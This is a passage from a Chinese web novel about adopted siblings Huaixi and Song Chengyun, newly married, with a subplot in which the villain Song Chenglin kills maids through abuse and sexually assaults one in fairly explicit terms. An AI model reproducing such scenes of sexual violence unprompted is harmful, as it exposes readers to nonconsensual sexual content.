听着夏敏的“谆谆教诲”,怀夕全程虚握着拳头,脸烧了又烧。 “听懂了吗?”夏敏说的口干舌燥,自以为已经说的很清楚了。 听得似懂非懂,但为了让干娘止住话头,怀夕只能红着脸胡乱地点头- 在王府歇了一夜,翌日,用过午膳后,怀夕和宋承云带着满载的马车回了宋宅。 马车里怀夕就开始犯困,回到家便吩咐小艾让人把马车上的东西搬到屋里,等她睡会觉后再起来清点。 宋承云倒是没有随怀夕回屋,直接去了书房。 与宋承云在回廊里分开后,怀夕显然松了口气,加快脚步回了自己屋里。 简单的梳洗,卸了妆发,怀夕便把丫鬟遣退,说是要睡会。 小艾帮她把帷帐放下后,便带着琥珀和翡翠放轻脚步退了出去。 明明在马车里困到眼皮打架,可真正躺到床上,怀夕却忽然觉得困意愈来愈消退。 她从小到大,都没有认过床,即使到了陌生的地方,只要身边有熟悉的人,她也能睡得很香。 何况她在茗澜苑已住了半月有余。 可是昨晚,她罕见地失眠了。 一整夜都没有睡着 哥哥自然也是同她一起住在茗澜苑的。 不知是不是夏敏有意的安排,昨夜茗澜苑的床榻上,只放了一床棉被。 虽不是第一夜同哥哥睡在一起,可昨夜怀夕怎么躺都觉得不得劲。 偏偏只有一床被子,都已经吹了灯,哥哥也已经闭上眼,她又不好再跨过他去叫丫鬟进来。 往日躺到床上,不出半刻钟自己准能睡着,可昨夜只要一闭上眼,干娘说的那些虎狼之词就一直在耳边环绕。 “女子要主动些” “这些事情都是一回生两回熟” “不过!这种事容易食髓入味,但也不能仗着年轻太放纵” 怀夕怀疑是屋里的炭火烧得太旺,尤其是她与哥哥两人之间没了阻挡,他身上的温度轻易地流淌到她周围,让她整个人燥热得不行。 她有些烦躁地将被子掀开,可她以为已经睡着的哥哥却忽然轻轻地问了一声:“怎么了?” 怀夕不知要怎么解释自己的反常,只闷闷地说回了一句:“没事。” 好在哥哥没有多问,只是靠过来,替她盖上被子,而后,又睡回到他的位子上。 于是一整夜,怕吵到身旁的人,她一动都不敢动- 怀夕把身上的被子扯高,将自己整个包裹住。 好一会,被褥里突然传来一声重重的叹气声。 怀夕蹬了蹬腿,暗暗埋怨干娘,都怪她胡说一通,让自己无端对哥哥起了些奇怪的邪念。 虽一开始没有睡着,但毕竟疲累,躺着躺着,怀夕还是睡了过去。 第60章 第60章她眼里不会有这样求饶的…… 屋内没有点烛,怀夕睁开眼时,看到的只是一片昏暗。 很快,外间亮了起来,然后就是小艾靠近的脚步声。 “姑娘,该起了。”见怀夕回来时十分疲累的样子,小艾特地让她多睡了会,所以中间不曾进来吵过她。 怀夕睡得有些迷糊,头晕晕胀胀的,睁着眼睛看着帷帐,呆呆地问道:“几时了?” “姑娘,已经酉时了,外头天都黑了。” “哦” 小艾站在床前,把帷帐挂到两旁,就来扶怀夕,“姑娘该起了,再睡夜里就不好睡了。” 怀夕半撑着手起来,"先沐浴吧。" 还有好一会才用膳,晕沉沉的,不如先沐浴,好精神些。 既然要沐浴,那省得穿外衣了,小艾拿了件外袍给怀夕披上,“那姑娘再坐会,水已经烧着了,我让琥珀她们先准备一下。” “好。” 小艾推门出去,明明是极轻的声响,可门阖上的瞬间,怀夕却觉得那声响极为刺耳。 她皱着眉捂住自己的心口。 针扎般的痛感,好在只是一瞬- 今日沐浴时还洗了发,所以花的时间也长了些。 怀夕坐在梳妆镜前,小艾替她擦着香膏,琥珀替她绞着头发,翡翠则在一旁的橱柜里把一会要穿得衣裙捧出来。 外头有敲门声,翡翠放下后去开门,门外珍珠说道,公子已经在偏房了,问夫人是否要开膳了。 翡翠应说还有一会,珍珠便走回去回禀了。 翡翠来的时候也不短了,如今大约也摸清楚这家里的规矩了。 姑娘是很和善的性子,待她们也好,虽公子看起来有些冷淡不近人情,不过只要她们侍候好姑娘,大多时候,她们在公子面前连话都说不上一句。 翡翠转身回房,又拿了一块布子,跟琥珀一起绞头发。 怀夕微抬头看她,“哥哥来了?” “是。”翡翠应道:“公子在偏房等着姑娘了,我们绞快些。” 其实早该改称呼了,但翡翠见小艾仍称呼怀夕“姑娘”,她同琥珀便也没跟着改口。 但其他没有近身的丫鬟和小厮,如今都是称呼怀夕为夫人的。 屋里暖和,头发倒也干的快,琥珀按平日夜里怀夕的习惯,并未替她盘发髻,只是将发丝简单地挽起来,用只白玉簪子束紧。 怀夕穿上外袍,芨好绣鞋,但临出门前却又转回身,又走到镜子前看了看。 她在镜前左右摆着,犹豫了下,看着镜子里琥珀的倒影说道:“把发丝盘紧些吧。” 这样松垮出去见哥哥,显得有些 显得有些什么,她也说不上来。 就是太不合规矩了而且,好像也不是很好看 “姑娘不是不喜欢盘髻吗,说箍得头疼。”小艾弯着腰瞧怀夕的脸,有些惊讶道。 翡翠比她们大一些,好似有些了解怀夕的心思,主动走过去,“我在王府跟橘林她们学了好些式样,今日我来替姑娘盘吧,姑娘看喜不喜欢?” 怀夕用力揪了揪自己的袖摆,点了点头。 翡翠手也巧,很快把怀夕发丝分成几股,用拧旋的方式把全部发丝都盘到发顶,拿了刚刚用的白玉簪子固定住。 她边盘边跟怀夕解释道:“这叫随云髻。” 看着倒也精巧,见翡翠还欲挑选珠串簪上,怀夕摆了摆手,“就这样吧。” 再装点就有些过了- 到偏房时,怀夕明显感觉到,哥哥看到自己时明显滞了滞。 她袖摆下的双手忍不住捏得紧些,有些懊悔刚刚无端让丫鬟帮自己妆扮的举动。 哥哥定然会觉得很奇怪 不过怀夕倒是多想了,宋承云只是单纯有些惊艳到。 新婚几日,怀夕每日穿得都是正红的衣裙,今日换的是一条石榴色的对襟衫裙,更显身姿袅袅。 长发又用白玉簪子挽起,螓首蛾眉,颊似桃花,更显清丽,眉宇间的灵气仿佛要溢出来一般 但怀夕明显有些不自在,坐下来后,一直闷闷地吃着饭。 见她一口未夹放在他前面的那叠五色蔬粒,宋承云用盘上的勺子舀了一勺,放到她碗里。 怀夕抬头,见哥哥还盯着自己看。 她是藏不住心思的性子,叹了口气,双肩跟着垂下。 “是不是不好看?” “嗯?”宋承云愣了愣,什么不好看 怀夕有些挫败,其实平日里她对女子妆扮那一套并不是很感兴趣,琥珀和翡翠手都巧,怀夕任凭她们打扮。 但大部分时候她嫌麻烦,除了必要的场合,在家里她向来是素面朝天,发丝更是常常用发带虚挽着 但在王府住了十多日,干娘派来侍候的丫鬟每日都把她妆扮得十分精致,每日听到干娘和郁心的夸赞,慢慢地,她也从妆扮中得到一点乐趣。 她不知道今日为什么突然起意要在哥哥面前妆扮起来 但不管怎么说,女子多少都是爱美的。 自己着意一番打扮,哥哥反应却平平,怀夕多少有些挫败。 见怀夕不看他,闷闷不说话,宋承云眉心蹙起一道淡淡的细褶。 料想是他哪里没做好么? 他心里复盘着刚刚发生的事,好似他什么都没做 他们用膳时向来不留人侍候,怀夕不说话,屋内就显得极其安静。 怀夕闷闷地夹着宋承云舀过来的五色蔬粒,食不知味,正要放下筷子,就听到哥哥清润的声音。 “好看的。” 怀夕微微一怔,抬眸,正正撞进宋承云黑沉沉的眼眸里。 宋承云的黑眸看人时总让人感觉冷冷清清,像缥缈的云雾,深不见底。 可此刻看着怀夕,那抹云雾被揉碎,褪下疏冷,里头只有满满的温润宠溺和一丝似有若无的炽热。 看着怀夕有些不解的眼神,他唇角微弯,温朗一笑:“今日的妆扮,很好看。” 像是平静的湖面忽地有粒大石重重扔下,而后炸开了花,怀夕心里呯呯跳了起来。 午后醒来的那抹刺痛感忽地袭来,扼住她忽然有些失控的心脏。 只是一瞬,快得仿佛那抹痛感仿佛是幻觉一样。 怀夕只能看到眼前哥哥清隽的脸庞,他用着认真到不能再认真的眼神,说她好看。 呯跳和刺痛之后,心头又涌上来一股甜甜的喜悦。 她愉悦地弯弯了眸,重新拿起勺子,也为宋承云舀了一勺菜- 这门亲事定的很突然,当泸州那边收到宋承云写回去的书信时,已经是他们成亲前两日了。 信里宋承云并未多加解释事情缘由,只简明扼要提了婚事的日期,还有怀夕被王府认了女儿的事,族长震惊之余,只能接受。 看完信后,族长立即去宋宅里见贾氏。虽说已经来不及去京里参加他们的婚事,但心意不可废,族里的贺礼不能少。 对族里来说,怀夕本就是白氏在外捡来的一个孩子,她是宋承云的妹妹或是妻子对他们来说并不是很重要。 重要的是,宋承云能走得多远,爬得多高。至于当时想让她上族谱,也只是为了卖宋承云一个好。 即使他为人冷淡,对族里的事也几乎不管不问。 但这些并不重要,只要外人知道,他宋承云,是他们宋家出来的,就可以了。 就像此次的盐引,比之从前费尽心思,花了不少银钱才拿到的盐引,这次几乎不费吹灰之力。 宋承云即便不做什么,但新任的州府长官知道他们是他的家眷后,爽快地盖了章。 宋氏一族生意蒸蒸日上,便是二房的承林,生意能顺利做到别的府县去,族长很清楚缘由为何。 可他没想到,见到贾氏和宋景明夫妇,说了来意后,他们的脸色不加掩饰,难看到极点。 族长的儿子一个多月前才从金陵回来,回来时对宋承云兄妹的评价皆不错,族长见他们兄妹都没有怠慢族里派去的人,心里本来就很满意。因此看到贾氏他们难看的脸色后,心里颇有几分厌烦。 从前,要不是他偏袒,他们二房如今还不知道如何,明明最该感谢宋承云的就是他们一家,可他们现在是什么态度。 他明明还听说承林在怀夕的牵线下,认识了一个新朋友,前阵子承林铺子里卖得很火的苏绣就是从那个朋友那里拿的货。 贾氏老辣些,知道如今族里唯宋承云马首是瞻,所以宋承林断手回来一事,如今还瞒得死死的。 到底还是笑着脸,说贺礼什么的,都听从族里安排。 把族长送走后,宋景明的妻子纪氏当着宋景明和贾氏的脸呸了一声,“我就说他们兄妹不对劲,如今不就搞到一块去。” “宋承云他仗势欺人,砍了我儿一条手臂,你们还把承林关起 来,如今还要舔着脸去给那狗男女送什么贺礼”纪氏本就是刁蛮的性子,憋在心里很久的气此时终于忍不住释放出来。 宋承林前阵子三更半夜被不知哪来的人扔到院门口,待仆人半夜去通报时,看到血淋淋,少了半只臂膀的儿子,纪氏当场就昏了过去。 其实,当初宋承云救出怀夕的时候,对宋承林并没有赶尽杀绝。虽断了他的臂膀,可还是留下几人,将他遣回泸州。 只是宋承林断了手臂后,愈发癫狂,即便是那些人将他送到医馆,他也如同发疯一样,不肯配合。 后来,那几人便将他打晕,让大夫包扎了伤口,几个日夜兼程,将他送回泸州。 回到泸州醒来后,宋承林几近崩溃,跑到对面小宅歇斯底里地砸了彻底,砸到连自己的那半截断臂又开始粼粼地冒出血。 一开始纪氏他们根本问不出到底是谁伤了他,好在宋承林癫狂了几日,不知怎地忽然想通一般,乖乖地配合治疗伤处。 纪氏不放心,守了他几夜,几次听见儿子面容扭曲地叫唤着怀夕的名字。 在她不知几次泪眼涟涟地求儿子告诉她真相后,她才知道,承林的手臂对宋承云那孽障伤的。 宋承林自断了手臂后,喜怒无常,把自己关在屋里哪也不去,而屋内原来侍候他的两个陪床丫鬟也接连被他用非人的方式折磨死。 眼见宋承林越来越偏激,贾氏和宋景明夫妇只能愈来愈顺着他的心意,即便他不断地从外面买进丫鬟,又不断地一个又一个被抬出他的院里,他们也不敢责骂他,只想他快些将心里的郁愤发泄完,重新变成之前那个正常且听话的儿子。 宋承林并没有刻意隐瞒他拐走怀夕的事实,当然,施害者或许从来意识不到自己的错误。贾氏他们只知道宋承林对怀夕有意且以非常手段带走怀夕,却不知道他欲侵犯怀夕。 看着宋承林血淋淋的断臂,贾氏他们只认为宋承云小题大做。 可敢怒不敢言,再怎么说,他们也知道是宋承林做的事不占理在先。 这件事闹开了,对承林一点好处都没有。所以,他们瞒着这件事,对外只说是遇到山匪。 被纪氏一通乱嗤骂,贾氏不由也动了怒,手重重地锤向桌子。 宋景明见母亲气得险些喘不上气,叱骂纪氏:“你给我闭嘴,若不是你从小惯着,儿子怎会这般任性。” “你怪我?”纪氏气急败坏,“宋景明,你忘记了吗,你儿子的手臂是被谁断的。” “依我说,就鱼死网破算了,我去京里递诉状,我就不信,拿他没有办法。” 宋景明气得说不出话,只用力甩了甩袖子。 “你去。”贾氏指着纪氏的脸,重重地说道:“若想你儿子下狱,你就去。” 就算承林拐走怀夕这桩事有别的借口可说,可就这短短十几日,从这个孙子院里可抬出好几条人命 虽说那些丫鬟的命不值当什么,可若有日东窗事发,这个孙子就真的毁了。 这里吵得火热,宋承林那边,大冷天,屋内窗户通开,几个丫鬟只穿着肚兜,围在他身侧,一人替他按着头,另几个跪在他脚边,轻轻替他捏着腿。 其中有个看起来比较瘦弱的小丫鬟,被窗外的冷风一吹,不由得颤了颤,手指尖的指盖不小心划到宋承林足底。 见宋承林睁开眼,小丫鬟吓得往后跪,不住地在地上磕头求饶。 其他丫鬟不知是冷得,还是吓得,身体都是微微发着抖,但此刻谁都不敢说话,连呼吸都怕发出声响。 宋承林肖似纪氏,生了一双微微上翘的桃花眼,本就阴柔的长相,如今配上阴鸷的神色,被他轻轻一扫,小丫鬟想起昨日刚抬出去的伙伴,瞬间就吓得魂不附体。 这里的丫鬟都是宋承林亲自从牙行送来的好几批丫鬟里头挑出来的。 眼前这个丫鬟,他印象最为深刻。 当初挑她,是因为她与那人一般,也有一双圆圆的杏子眼。 甚至笑起来时,一边颊上也有一颗小梨涡。 但还是不一样。 宋承云看着小丫鬟那双圆圆的杏眼里不断涌出眼泪,目光愈发阴沉。 即使哭着,那个女子眼里也不会有这样求饶的姿态。 想起另一张面孔,宋承林忽地将腿上其他丫鬟的手挥走,他坐直了起来,嘴角勾出一个怪异的微笑,他伸出左手,对着地上哭得满脸泪水的小丫鬟勾了勾手,“过来。” 有了前车之鉴,小丫鬟颤悠悠地抬起头,即使害怕,也忍着颤抖,将她的手放到那人掌心。 宋承林将她拉了起来,让他坐到自己腿上。 男子冰冷的手指擦过小丫鬟眼下的眼泪,不疾不徐地放到嘴里舔了舔,而后,他捏住小丫鬟的下巴,冷冷地说道:“笑。” 小丫鬟僵硬地坐在膝上,唯恐碰到那截空空的衣袖,似乎已经习惯男子的指令,宋承林一说笑,她便娴熟地绽出一个笑脸。 不知是哪个动作惹怒男子,小丫鬟突然被扯到地上,而后,头被按了下去。 其他丫鬟跪在一侧,听着那小丫鬟的呜咽声和男子的喘气声,都死死地垂着眼睛,一动也不敢动。 门口忽然响起几下敲门声,小丫鬟许是有些吓到,下意识地想往后退。 宋承林猛哼一声,扯着她的脖颈又往前拉,喘着粗气说道:“别停。”又示意一旁的丫鬟去开门。 门外的小厮只停在外间,垂着眼睛回道:“公子,族长刚刚过来了。” “什么事。” 听到宋承林有些低哑的声音,小厮面不改色,答道:“奴才在一旁听着,说是金陵那边来了信,族长过来商量,说是要一同送贺礼到金陵。” 迟迟出不来,宋承林脸上青筋暴起,他捏紧小丫鬟的脖颈,愠怒道:“快。” 小丫鬟第一次做这种事,没什么章法,一紧张就不小心磕到他,宋承林直接扯着她的头发丢开,又扯了最近的一个丫鬟。 许是这新的丫鬟合心意,甫一靠近,宋承林就眯着眼长长喟叹了一声。 “什么贺礼?” 待宋承林开口,那小厮才继续说道:“是新婚贺礼,说是二公子后日成亲” 小厮还没说完,就听到里头猛哼一声,然后是一声清脆的巴掌声。 “滚。” 那丫鬟捂着满脸的温热颤悠悠地跪到一旁。 宋承林眉头皱了皱,将衣摆放下,无端有些不好的预感。 “新娘是谁?” 那小厮明显有所准备,低着头,很快就答道:“是怀夕姑娘。” “啪”地一声,是东西碎裂的声音。 屋内的宋承林死死地盯着刚刚那个小丫鬟,目光虚落着,带着恶寒的笑意,像是隔着她在看什么人。 满屋的丫鬟被他身上的戾气吓得直发抖,半晌后,宋承林不知想到什么,忽发出一阵狂笑,然后,将埋首在地上的小丫鬟拉了起来,当中撕开她的肚兜,将她的头按到桌上,肆无忌惮地压了过去。【你现在阅读的是 】 60-70 第61章 第61章姑娘和公子是这样睡的吗…… 很快就到了年关。 这日,怀夕带着几个丫鬟在宅子里挂灯笼。 宅子里的红绸带还未摘下,挂上红灯笼后更显喜庆。 挂完灯笼后,怀夕便被丫鬟催着回了屋里。一冷一热,忍不住连打了几个喷嚏。翡翠见状,忙去厨房让刘婆子熬了一锅姜枣茶。 刘婆子麻利,一锅热气腾腾的姜枣茶很快出锅,除了怀夕,宅子里的丫鬟小厮也都分了一碗。 才过了晌午,怀夕倒没有困意,索性让几个丫鬟拿针线在屋里做,几人边做针线边说话,时间很快就打发了。 做了一个下午,怀夕绣了两条手绢,此刻拿在窗下看了看,针脚还有些疏,不过自己用就不用讲究那么多了。 金陵的冬甚长,马上就过年了,怀夕想着帮哥哥多做两身斗篷,于是随口吩咐小艾,让她明日叫人去于子恒铺里传个话,问他近来有没有什么好的皮毛。 自上次赴宴出事以后,于子恒觉得十分愧对怀夕,找回怀夕后,他几次亲自登门致歉,但那时怀夕还没痊愈,所以他只见到怀夕那个不苟言笑的哥哥。 之后怀夕痊愈后,倒是在他的铺子里见过一次。 于子恒愧疚地就差跪下,怀夕很知道这事怪不到他身上,甚至还开导他,之后两人还是没有芥蒂继续来往着。 小艾应下,怕忘记,索性披上外袍,先去外院传话。 昨日宋承云同怀夕提前说过,今日会晚些回来。因此怀夕今日让早早摆膳,天刚黑下她就梳洗好又窝回床上。 前几日书局新进了一批书,怀夕找到不少好看的话本,看了几个夜晚,还剩两本未看。索性让小艾在床边加了一盏烛火,坐在平日哥哥睡觉的位置看起了书。 宋承云过了亥时才回来,怕吵到怀夕,在林渊阁沐浴完才回到怀夕的院子。 其实本来也可以让人传话,直接在林渊阁歇下,然后就此慢慢回到从前的样子 他哪里感觉不到,他在的时候,妹妹是有些不自在的。 虽然她在极力掩饰 可沐浴完,松毫问他今晚歇在哪里的时候,他还是脱口而出:“栖夕阁”- 宋承云进来时,小艾正在坐在外间的绣墩上,头耷拉着,都快掉到地上。 听到脚步声,晃地睁开眼,慌忙站起来行礼,“公子。” 宋承云没看她,只是点了点头。 小艾轻车熟路,见他们公子往里间走,把桌上的绣篓收了便退了出去。 怀夕正看得起兴,没察觉到屋子里多了一个人。 待书页上突然多了一块阴影,她才抬起头。 “哥哥。”怀夕有些惊喜,眼睛里的笑意格外明亮。 宋承云如今也不似之前那般拘谨,揉了揉她的头,在床沿坐下。 “在看什么?”看得那般认真,他伸手想去拿她的书。 怀夕动作比他更快,立马将书阖上,藏到身后,“没什么,闲书来的。” 谈情说爱的小本子,让哥哥看到定会取笑她。 见拿不到,宋承云也没有下一步动作,只是轻声问道:“继续还是熄灯?” 虽然还没有困意,但哥哥在她还怎么看,怀夕没有丝毫犹豫,“熄灯吧。” 趁宋承云走开去吹灯,怀夕把书藏到床里面去,然后自己也挪回自己的位子上。 宋承云掀开被褥躺进去时,里头暖暖的,被褥上沾染了满满熟悉的味道。 清甜之外,有淡淡的甘松香味。 怀夕入寝时不喜欢张手不见五指的黑暗,所以总习惯会在外间留一盏烛灯。 今日难得精神,躺了好一会都没有困意,怀夕朝外面转了个身。 帷帐内有淡淡的光晕,勉强能看清对方的侧脸,怀夕转过来的时候,宋承云头也往她的方向微微转了转。 目光对上。 看到哥哥还没睡,怀夕又往外蹭了蹭,放轻声音问道:“哥哥这几日又忙起来了?” “嗯。” 怀夕不知道哥哥平日在翰林院做些什么,只是从哥哥出门和回来的时间判断他是否繁忙。 这阵子哥哥又开始早出晚归的 怀夕没有猜错,宋承云这阵子充任纂修官,正参与编写《世宗实录》,圣上给的时间并不算充裕,纂修官们近来都颇有压力。 为了赶工,翰林院里有专门给当值官员设置的歇息场所,近来好些纂修官夜里都直接睡在那里。 只有宋承云每日雷打不动,无论多晚,无论外头是风是雪,每日将负责的部分完成后,都会离开。 其他纂修官倒也不见怪,新婚情热,皆是男子,他们都明白的。 宁静的黑夜能放大每一点动静,宋承云能感受到隔在中间的那床被褥往他这里移得更近,然后便是窸窸窣窣的翻转声。 怀夕翻了个身,侧撑着头,看着一旁睡姿端正的哥哥。 “哥哥要睡了?” 其实是有些累的。 宋承云负责纂修的部分,每次呈递到总纂修官处,需修改的地方不多,也因此,总纂修官让他负责的部分越来越多。宋承云白日几乎没有休息的时间,才勉强能在夜间赶回家中。 黑暗里,宋承云还是睁开眼,看着近在咫尺的脸庞,应道:“没有。” 听完,怀夕的眼神更是亮了亮,“哥哥,那今年何时去青元山?” 宋承云在青元山无极殿为双亲供奉着长明灯,过年前后他们一般会去峰顶小住几日,侍奉香火。 “除夕吧。” 怀夕点了点头,但又反应过来,哥哥不一定看得到她在点头回应,于是说道:“好,山顶尤其冷,这次定要记得多带些衣物。前年就是没带够衣物,累得松毫多跑了两趟。 “嗯。”宋承云应了声,提到松毫,才突然记起回来时,松毫曾同他提起,说今日姑娘请了大夫上门。 “心口又痛了?”宋承云睁开眼,转向旁侧。 “啊?”怀夕手撑得有些酸了,遂又躺了回去,“没事,就是吹了风,有些头痛,吃了一剂药便没事了。” “哦。” 怀夕见哥哥没有继续问,无声地松了口气,装作打哈欠的样子,“那我睡了。” “嗯。” 宋承云睡觉时动静很小,但身旁的人不同,断断续续翻了几次身,过了一会,才逐渐安静下来。 烛蜡垂落成团,烛火也变得黯淡,屋外寒风在青砖地上铺上一层冷霜。 宋承云睁着眼,眸光沉沉,望着帐顶繁复的合欢纹绣,阴影覆在他清俊的轮廓上,将一切情绪藏进黑沉的深夜里。 被褥半覆于身,忽然,一只手越过中间的被褥,虚虚地搭在他手臂上。 暗藏的情绪被打散。 宋承云侧过身子看着睡沉的女子,任目光徜徉坠落。 他看得出来,妹妹在撒谎。 她最讨厌苦味。 按她的性子,一点小病小痛,决计不会主动找大夫的。 她不愿意说,那他只好自己去问。 炭火将屋内烘烤得暖暖的,听着身旁浅浅的呼吸声,宋承云慢慢地也坠入梦乡 酣眠几个时辰后,怀夕的美梦被一阵阵绞痛绞醒,似梦似醒睁开眼时,屋内是暗蒙蒙的。 醒来时肚子不再绞痛,怀夕轻轻伸展一下身子,感觉身下有一股暖暖的 惨了,怀夕在心里暗恼。 她平日月事还算准,按时间算明明还要过两天才来,怎么这么突然。 怀夕小心翼翼地推开被子,轻悄悄地跪坐起来。 衣服肯定是要换的了,月事条平日都是小艾他们做好放在柜子里,怀夕一边轻轻跪挪到床后,一边在考虑下一步先做什么。 还是先换月事条吧。 她打定主意,爬跪的动作便稍稍快了一些。 宋承云是浅眠的,半夜被窸窸窣窣的声响吵醒后,习惯性地伸手想替右侧的女子盖被。 可手伸了过去,却是一片空空且凉凉。 然后,脚边有东西蹭了上来,紧接着是重重地碾压。 宋承云眉心轻轻蹙起。 大半夜,她要去哪? 半夜被吵醒,宋承云脑子难得迷糊,心里想问的,嘴上也脱口而出。 “去哪?” 外间的烛火许是燃尽,帷帐内一片黑沉,怀夕自认为动作已经轻得不能再轻了,可目不能视物 压到宋承云的那一刻,她狠狠地咬了咬自己的嘴唇。 “哥哥。”怀夕索性停了下来,就这样跪坐在宋承云脚边。 “哥哥能替我点盏灯吗?”怀夕弱弱地说道。 宋承云应了一声,坐起来,掀开帷帐。 很快,帷帐内便亮了起来。 怀夕一眼就看到自己刚刚躺着的那个位置,有一抹不算很显眼的暗色。 好在被褥是红色的。 宋承云走回来时,怀夕还坐在床尾,见到他来时忽然掀起她的被褥往前丢了一丢。 “怎么了?”宋承云走近,坐到床沿 ,伸手替她抚开颊边的一缕碎发。 太丢脸了,怀夕耷拉着头,不知道该怎么解释。 “做噩梦了?”宋承云轻轻问道。 怀夕摇头。 “哥哥先睡,我去暖房一趟。” 自宋承云搬来后,暖房便是小艾夜里下榻的地方。 宋承云有些狐疑地皱了皱眉,三更半夜,找小艾做什么。 坐着又怕沾到被褥,怀夕跪坐在两膝之间,松开手上攥着的被角,推了推宋承云,“哥哥让开。” 宋承云怔愣一瞬,在看着妹妹捂着肚子的动作,和鼻翼边飘来的一丝若有似无的血气时,忽然就明白了。 他呆呆地站了起来,将位置让开。 怀夕顾不上看哥哥的表情,一下床,想笈上鞋,可不知怎地,越想快越笈不进去。 寝衣定然是沾染到了血迹,怀夕怕哥哥看到,慌乱之际,直接将鞋子踢开。 算了,不穿了,反正就在隔壁。 正当脚要落到砖上时,手腕被扯住。 宋承云看她慌忙无措的模样,心里默默叹了口气。 他将她拉住,见她不肯坐,也不勉强。替她捡回绣鞋,又蹲在床沿,让她一只手扶住自己肩上,而他拿出绣鞋,轻轻替她套上。 怀夕咬着唇,拼命压着跳得毫不规律的心跳,看完哥哥不算娴熟地做完一整套动作,在他抬眸看来之时,又立马将目光挪开。 “外面冷,我去叫她吧。”宋承云随意披了个外袍,就往外走。 “” 也行吧 小艾很快就过来,看得出很匆忙,外衣上还扣错一个扣子。 宋承云关门后,只停步于外间。 好在屋内有温水,小艾沾湿帕子为怀夕擦拭了腿间的一点点血迹,怀夕顺利换上月事带,寝衣也新换了一套。 小艾拿着换下的寝衣要退下时,怀夕将她拉住。 “床上”怀夕指了指床榻。 小艾很快就懂了她的意思,走近床榻,掀开帷帐,看到隔在中间的一床被褥,先是愣了愣。 姑娘和公子是这样睡的吗 第62章 第62章软乎乎的求饶 怀夕也跟着走近,她没察觉到小艾的异常,单脚跪到床沿边,掀开她刚刚盖上去的被褥。 正红被褥上一团小小的暗迹。 不仔细看其实也很难注意到,怀夕看了看外间看书的身影,有些犹豫。 屋内并未放替换的被褥,若现在更换,少不得还要去唤醒翡翠她们,一通搞完,估计就要到哥哥起身的时辰了。 还是算了。 “算了,天亮再说。”怀夕转身同小艾说道,“你先下去吧。” 小艾这才回过神,“哦,哦哦。那奴婢先下去了。” 门轻轻掩上,怀夕在里间深深吐了一口气,这才若无其事般地走到外间。 “哥哥,好了。” 宋承云嗯了一声,放下怀夕看了一半的书。 到底有些羞臊,怀夕说完后,见哥哥去熄灯,匆忙回了床上,盖上被褥,闭上眼睛。 好在哥哥什么都没说,熄了灯,照旧躺在床外侧。 怀夕向来沾床就睡,刚躺上来,很快就有了点困意。 可意识刚刚有些模糊,肚子就抽痛了一下。 怀夕不自觉地轻哼了一声。 哎,怀夕盘算了一番,觉得小艾一语成谶了。前两日她临时起意,让琥珀把前年酿的桑葚酒搬出来,喝了一盏。 小艾制止她时说的便是,桑葚性凉,姑娘这几日就要来小日子了,小心肚痛。 不知是炭火烧得没那么旺了,还是肚子胀痛的原因,怀夕总感觉身上有些冷。 她轻轻地把隔在中间那床被褥也拉到身上来。 “还是不舒服?” 经刚刚一遭,宋承云已经清醒了,再躺回床上,只是想让怀夕能继续安心睡觉。 只是身旁的人不乖乖睡觉,动静不断。宋承云闭着眼睛,安静地听着,脑海里不由得想起,妹妹第一次来月事时,抱着他哭得好不可怜的样子。 他记得她如圆月皎洁的瞳孔里止不住滑落的泪水,抱着他的手啜泣不断,泪痕干了又湿,在他哄了好一会后,她才说道:“哥哥,我恐怕要死了。” “哥哥,我流了好多血。” “” 那时的他看到她绯色衣裙上一团殷红的血迹,心头猛然一跳,不知妹妹为何受了那么重的伤。 他虽年长怀夕几岁,但毕竟是男子,且他自小专心于读书,对女子之事,了解甚少。 若不是恰好有刘婆子及时解惑,恐怕那时要闹出不小的笑话 又吵到哥哥了。 怀夕索性将被褥拉高,半个脸埋的被褥里,低低地“嗯”了一声。 “肚子痛,有些冷。” 进来前,宋承云特地看过炭火,烧得仍然很旺。 他盖着被子,还觉得有些闷热。 宋承云不太清楚别的女子来月事时是什么反应,但他知道,每逢这几日,精力充沛的妹妹,在这几日,总是蔫蔫的。 有时他能看到她身边几个丫鬟会做些红糖姜水什么的哄她喝下。 宋承云欲起身,怀夕察觉道他的动作,伸手将他拉住,“哥哥起了?” “我去唤丫鬟进来?”宋承云回身解释。 怀夕在被褥里摇了摇头,也不知道宋承云有没有看到。 “不用了,一会就好了。” 宋承云还是不放心,可怀夕攥着他的袖子不肯放。 若是有个汤婆子就好了,怀夕不禁想,但再起来一趟,哥哥就真的不用睡了。 怀夕顺着袖子碰触到宋承云的手。 暖暖的。 “哥哥手暖,帮我捂一下吧。”说完,也不待宋承云反应,身子就轻挪了过来,牵着宋承云温热的手放到小腹中。 隔着衣裳也能感觉到暖烫之意,她满足地喟叹一声,闭上眼睛。 “就一会,很快就好了,哥哥也闭眼休息吧。” 宋承云侧着身,左手僵硬地,被拉到被褥里,而后,覆在温软的小腹上。 说不上是错愕还是惊慌,抑或都有之。 心脏不知空了几拍,连呼吸都怕惊到身旁的人。 他们之间没了被褥的阻挡,只要再往前,再往前一点点,他就能将她尽揽于怀中 昏暗中,那双向来疏冷的黑眸里,此刻竟慌乱闪过几丝羞赧。 可身侧的女子什么都不知道,她大剌剌地把他的手覆上后,没一会,就沉沉睡了过去。 令人舒适的暖意,怀夕毫无防备地沉浸在香甜的睡梦里。只她睡觉时从来不安分,没了被褥的阻挡,睡梦里,她循着熟悉的淡淡竹香,将自己完完整整地,送进另一具温热的身躯怀里。 被抱了个满怀,从一开始的僵硬,微微后退,又被紧紧地搂紧 宋承云不再抵抗,或者说,终于不再压抑。 他双眼贪婪凝望着胸前的女子,另一只手仿佛不受控般,穿过她的臂下,环住她的腰身,试探性,慢慢收紧。 直到身体贴合,一丝缝隙也没有 一瞬间,呼吸乱了分寸。 明知不对,不该,但怀中温软一路灼到心口,烫得他几乎无法思考。 他该放手的。 但,怎么可能放手呢? 许是被搂得太紧,怀夕的女子轻轻地嘤咛了一声,在男子胸前蹭了蹭,寻了个更舒服的姿势,沉沉地酣眠过去 怀夕睡到日上三竿,醒来的时候,从未有过的舒爽。 问了小艾,才知道哥哥今日起得比平日晚了一刻,鲜见匆忙出门。 怀 夕听完有些不好意思,昨夜被她一通折腾,哥哥定然没睡好。 小艾半夜从这里出去后,心里存着事,回去后便也睡不着。 她很担心,难道姑娘心里是不喜欢公子的? 不然哪有夫妻安寝时要用被褥隔开彼此? 昨夜公子在,小艾什么话都不敢说,回去后躺在床上,睁着眼睛数着时间,好不容易等到天亮。 一早守在主屋门口,但平日卯时一刻就会开门的主屋却没有动静。 